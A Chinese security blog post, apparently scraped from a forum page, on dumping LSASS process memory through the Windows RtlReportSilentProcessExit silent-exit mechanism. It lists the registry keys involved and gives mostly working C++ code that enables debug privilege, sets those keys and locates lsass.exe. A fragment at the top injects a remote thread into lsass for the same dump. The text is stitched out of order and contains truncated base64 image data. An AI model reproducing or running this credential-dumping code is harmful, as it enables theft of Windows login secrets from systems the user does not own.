printf("[+]写入函数成功\n[+]function_address: %p\n", base_address);
DWORD ID;
HANDLE ThreadHandle = CreateRemoteThread(hLsassProc, NULL, 0, (LPTHREAD_START_ROUTINE)base_address, 0, CREATE_SUSPENDED, &amp;ID);
if (ThreadHandle) {
printf("[+]ThreadInject Success\n");
ResumeThread(ThreadHandle);
}
printf("[+]dump文件在c:\\windows\\temp\\lsass-*\\");
return 0;
}
```
这样就可以用了,线程注入需要写入注册表后重启电脑才可以使用,虽然dump出的内存文件只有LSASS.EXE,很明显没有外部调用稳定
还有杀软强一点可能就不能注入了
这篇文章主要还是记一下过程,各位师傅真的要用还是用外部调用吧
0x04 资料
-------
[https://mp.weixin.qq.com/s?\_\_biz=MzA5ODA0NDE2MA==&amp;amp;mid=2649751822&amp;amp;idx=3&amp;amp;sn=d8a0d685152418e7b8a6abf532365aa2&amp;amp;chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&amp;mid=2649751822&amp;idx=3&amp;sn=d8a0d685152418e7b8a6abf532365aa2&amp;chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd)
&lt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit&gt;
&lt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enable-silent-process-exit-monitoring&gt;</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h1 blockindex=0>RtlReportSilentProcessExit dump Lsass.exe</h1>
<p blockindex=1>最近学习了一下dump Lsass.exe的方法,看到了一种没见过的</p>
<p blockindex=2>调用RtlReportSilentProcessExit静默退出dump内存</p>
<h2 blockindex=3>0x01 原理</h2>
<ol blockindex=4>
<li>修改注册表,配置dump保存路径这些</li>
<li>通过RtlReportSilentProcessExit告诉系统正在执行静默退出,但是实际上不会退出</li>
</ol>
<p blockindex=5>先看一下注册表需要配置什么</p>
<pre blockindex=6><code class="hljs language-php">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
</code></pre>
<p blockindex=7>需要在上面的注册表内新建项,这个项的名字需要和进程同名,需要dump lsass.exe就需要创建</p>
<pre blockindex=8><code class="hljs language-php">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
-GlobalFlag <span class=hljs-number>0x200</span> 启用静默进程退出监测
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
-DumpType <span class=hljs-number>0x02</span> dump内存的类型
-LocalDumpFolder c:\temp 这是dump后保存的地址
-ReportingMode <span class=hljs-number>0x02</span> 退出执行的操作
</code></pre>
<p blockindex=9><a href=https://shs3.b.qianxin.com/attack_forum/2021/11/attach-ad3aa4d34d114beaa3126a34778ebf51b2d64beb.png><img src="data:image/png;base64,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
还有启动的值</p>
<p blockindex=10><a href=https://shs3.b.qianxin.com/attack_forum/2021/11/attach-5810132fcbe505cce23caf4b8c466c1d6a8fee78.png><img src=data:image/png;base64,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
msdn的地址贴在最后</p>
<p blockindex=11>下面就可以开始写代码了</p>
<p blockindex=12>RtlReportSilentProcessExit可以外部调用也可以通过线程注入到进程内存中,这次着重写线程注入的方法</p>
<h2 blockindex=13>0x02 外部调用</h2>
<pre blockindex=14><code class="hljs language-C++"><span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"windows.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"tlhelp32.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"stdio.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>include</span> <span class=hljs-meta-string>"shlwapi.h"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>pragma</span> comment(lib, <span class=hljs-meta-string>"shlwapi.lib"</span>)</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> IFEO_REG_KEY <span class=hljs-meta-string>L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> SILENT_PROCESS_EXIT_REG_KEY <span class=hljs-meta-string>L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> LOCAL_DUMP 0x2</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> FLG_MONITOR_SILENT_PROCESS_EXIT 0x200</span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> DUMP_FOLDER <span class=hljs-meta-string>L"C:\\temp"</span></span>
<span class=hljs-meta>#<span class=hljs-meta-keyword>define</span> MiniDumpWithFullMemory 0x2</span>
<span class=hljs-function><span class=hljs-keyword>typedef</span> <span class=hljs-title>NTSTATUS</span><span class=hljs-params>(NTAPI* fRtlReportSilentProcessExit)</span><span class=hljs-params>(
HANDLE processHandle,
NTSTATUS ExitStatus
)</span></span>;
<span class=hljs-function>BOOL <span class=hljs-title>EnableDebugPriv</span><span class=hljs-params>()</span> </span>{
HANDLE hToken = <span class=hljs-literal>NULL</span>;
LUID luid;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>OpenProcessToken</span>(<span class=hljs-built_in>GetCurrentProcess</span>(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 获取当前进程Token失败 %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>LookupPrivilegeValue</span>(<span class=hljs-literal>NULL</span>, SE_DEBUG_NAME, &amp;luid)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - Lookup SE_DEBUG_NAME失败 %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = <span class=hljs-number>1</span>;
tokenPriv.Privileges[<span class=hljs-number>0</span>].Luid = luid;
tokenPriv.Privileges[<span class=hljs-number>0</span>].Attributes = SE_PRIVILEGE_ENABLED;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>AdjustTokenPrivileges</span>(hToken, FALSE, &amp;tokenPriv, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(tokenPriv), <span class=hljs-literal>NULL</span>, <span class=hljs-literal>NULL</span>)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - AdjustTokenPrivileges 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> FALSE;
}
<span class=hljs-keyword>return</span> TRUE;
}
<span class=hljs-function>BOOL <span class=hljs-title>setRelatedRegs</span><span class=hljs-params>(PCWCHAR procName)</span> </span>{
HKEY hkResSubIFEO = <span class=hljs-literal>NULL</span>;
HKEY hkResSubSPE = <span class=hljs-literal>NULL</span>;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = <span class=hljs-number>-1</span>;
BOOL ret = FALSE;
PWCHAR subkeyIFEO = (PWCHAR)<span class=hljs-built_in>malloc</span>(<span class=hljs-built_in>lstrlenW</span>(IFEO_REG_KEY) * <span class=hljs-number>2</span> + <span class=hljs-built_in>lstrlenW</span>(procName) * <span class=hljs-number>2</span> + <span class=hljs-number>5</span>);
<span class=hljs-built_in>wsprintf</span>(subkeyIFEO, <span class=hljs-string>L"%ws%ws"</span>, IFEO_REG_KEY, procName);
PWCHAR subkeySPE = (PWCHAR)<span class=hljs-built_in>malloc</span>(<span class=hljs-built_in>lstrlenW</span>(SILENT_PROCESS_EXIT_REG_KEY) * <span class=hljs-number>2</span> + <span class=hljs-built_in>lstrlenW</span>(procName) * <span class=hljs-number>2</span> + <span class=hljs-number>5</span>);
<span class=hljs-built_in>wsprintf</span>(subkeySPE, <span class=hljs-string>L"%ws%ws"</span>, SILENT_PROCESS_EXIT_REG_KEY, procName);
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n"</span>, subkeyIFEO);
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - [DEBUGPRINT] SilentProcessExit: %ws\n"</span>, subkeySPE);
<span class=hljs-keyword>do</span> {
<span class=hljs-comment>// 设置 Image File Execution Options\&lt;ProcessName&gt; 下GlobalFlag键值为0x200</span>
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegCreateKey</span>(HKEY_LOCAL_MACHINE, subkeyIFEO, &amp;hkResSubIFEO))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>break</span>;
}
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubIFEO, <span class=hljs-string>L"GlobalFlag"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;globalFlag, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(globalFlag)))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置注册表键 GlobalFlag 键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>break</span>;
}
<span class=hljs-comment>// 设置 SilentProcessExit\&lt;ProcessName&gt; 下 ReporingMode/LocalDumpFolder/DumpType 三个值</span>
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegCreateKey</span>(HKEY_LOCAL_MACHINE, subkeySPE, &amp;hkResSubSPE))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 打开注册表项 SilentProcessExit 失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>break</span>;
}
<span class=hljs-keyword>if</span> (ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"ReportingMode"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;reportingMode, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(reportingMode)))
|| ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"LocalDumpFolder"</span>, <span class=hljs-number>0</span>, REG_SZ, (<span class=hljs-keyword>const</span> BYTE*)DUMP_FOLDER, <span class=hljs-built_in>lstrlenW</span>(DUMP_FOLDER) * <span class=hljs-number>2</span>))
|| ERROR_SUCCESS != (retstatus = <span class=hljs-built_in>RegSetValueEx</span>(hkResSubSPE, <span class=hljs-string>L"DumpType"</span>, <span class=hljs-number>0</span>, REG_DWORD, (<span class=hljs-keyword>const</span> BYTE*)&amp;dumpType, <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(dumpType)))) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>break</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 注册表设置完成 ...\n"</span>);
ret = TRUE;
} <span class=hljs-keyword>while</span> (FALSE);
<span class=hljs-built_in>free</span>(subkeyIFEO);
<span class=hljs-built_in>free</span>(subkeySPE);
<span class=hljs-keyword>if</span> (hkResSubIFEO)
<span class=hljs-built_in>CloseHandle</span>(hkResSubIFEO);
<span class=hljs-keyword>if</span> (hkResSubSPE)
<span class=hljs-built_in>CloseHandle</span>(hkResSubSPE);
<span class=hljs-keyword>return</span> ret;
}
<span class=hljs-function>DWORD <span class=hljs-title>getPidByName</span><span class=hljs-params>(PCWCHAR procName)</span> </span>{
HANDLE hProcSnapshot;
DWORD retPid = <span class=hljs-number>-1</span>;
hProcSnapshot = <span class=hljs-built_in>CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, <span class=hljs-number>0</span>);
PROCESSENTRY32W pe;
<span class=hljs-keyword>if</span> (INVALID_HANDLE_VALUE == hProcSnapshot) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 创建快照失败!\n"</span>);
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
pe.dwSize = <span class=hljs-built_in><span class=hljs-keyword>sizeof</span></span>(PROCESSENTRY32W);
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>Process32First</span>(hProcSnapshot, &amp;pe)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - Process32First Error : %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>-1</span>;
}
<span class=hljs-keyword>do</span> {
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>lstrcmpiW</span>(procName, <span class=hljs-built_in>PathFindFileName</span>(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} <span class=hljs-keyword>while</span> (<span class=hljs-built_in>Process32Next</span>(hProcSnapshot, &amp;pe));
<span class=hljs-built_in>CloseHandle</span>(hProcSnapshot);
<span class=hljs-keyword>return</span> retPid;
}
<span class=hljs-function>INT <span class=hljs-title>main</span><span class=hljs-params>()</span> </span>{
PCWCHAR targetProcName = <span class=hljs-string>L"lsass.exe"</span>;
DWORD pid = <span class=hljs-number>-1</span>;
HMODULE hNtMod = <span class=hljs-literal>NULL</span>;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = <span class=hljs-literal>NULL</span>;
HANDLE hLsassProc = <span class=hljs-literal>NULL</span>;
NTSTATUS ntStatus = <span class=hljs-number>-1</span>;
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>EnableDebugPriv</span>()) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 启用当前进程DEBUG权限失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 启用当前进程DEBUG权限 OK\n"</span>);
<span class=hljs-keyword>if</span> (!<span class=hljs-built_in>setRelatedRegs</span>(targetProcName)) {
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置相关注册表键值失败: %#X\n"</span>, <span class=hljs-built_in>GetLastError</span>());
<span class=hljs-keyword>return</span> <span class=hljs-number>1</span>;
}
<span class=hljs-built_in>printf</span>(<span class=hljs-string>" - 设置相关注册表键值 OK\n"</span>);
